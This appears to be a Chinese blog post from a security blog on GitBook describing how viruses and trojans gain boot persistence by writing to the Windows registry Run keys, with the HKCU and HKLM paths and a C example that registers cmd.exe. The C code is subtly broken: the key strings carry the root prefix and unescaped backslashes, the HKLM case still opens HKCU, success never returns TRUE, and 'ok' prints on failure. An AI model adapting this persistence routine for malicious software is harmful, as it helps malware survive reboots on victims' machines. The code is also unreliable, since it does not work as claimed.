idiotc4t's blog
搜索文档…
GitBook 提供支持
注册表自启动项

简介

为了便于使用,操作系统通常会提供开机自启动功能,这样能方便用户不用人为的去运行程序就能自己运行起来,由于开机自启动的特殊性,此类功能也往往是红蓝对抗重点博弈的地方。
本文将介绍如通过注册表项实现病毒木马自启动。

流程

    1.
    打开自启动键
    2.
    写入自启动键
由于windows提供了专门的开机启动注册表项,每次开机操作系统都会遍历这个注册表项下的键值对,获取并创建进程,所以我们只需要添加这个注册表项就能实现自启动。
这里给出两个表项,他们的最主要的区别就是主键写入权限的不同。
PS:32位程序往64位注册表内写入数据时会发生重定位。
1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Copied!

代码实现

由于通过cmd添加键值的方式已被众所周知,这里只给出c实现的代码。
1
2
3
#include <Windows.h>
4
#include <stdio.h>
5
6
BOOL SetKeyValue(PCHAR lpszFileName, PCHAR lpszKeyValue,CHAR cType) {
7
HKEY hKey=NULL;
8
PCHAR KeyAddr=NULL;
9
switch (cType)
10
{
11
case 1:
12
KeyAddr = (PCHAR)"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run";
13
break;
14
case 2:
15
KeyAddr = (PCHAR)"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
16
break;
17
case 3:
18
break;
19
20
}
21
22
if (ERROR_SUCCESS!=RegOpenKeyEx(HKEY_CURRENT_USER,KeyAddr,0,KEY_WRITE,&hKey))
23
{
24
return FALSE;
25
}
26
if (ERROR_SUCCESS!= RegSetValueEx(hKey,lpszKeyValue,0,REG_SZ,(PBYTE)lpszFileName,1+strlen(lpszFileName)))
27
{
28
RegCloseKey(hKey);
29
return FALSE;
30
}
31
RegCloseKey(hKey);
32
}
33
34
int main()
35
{
36
if (FALSE == SetKeyValue((PCHAR)"C:\\Windows\\System32\\cmd.exe", (PCHAR)"cmd",1))
37
{
38
printf("ok");
39
}
40
return 0;
41
}
42
Copied!

LINKS

开发人员工具、技术文档和代码示例
docsmsft
最近更新 1yr ago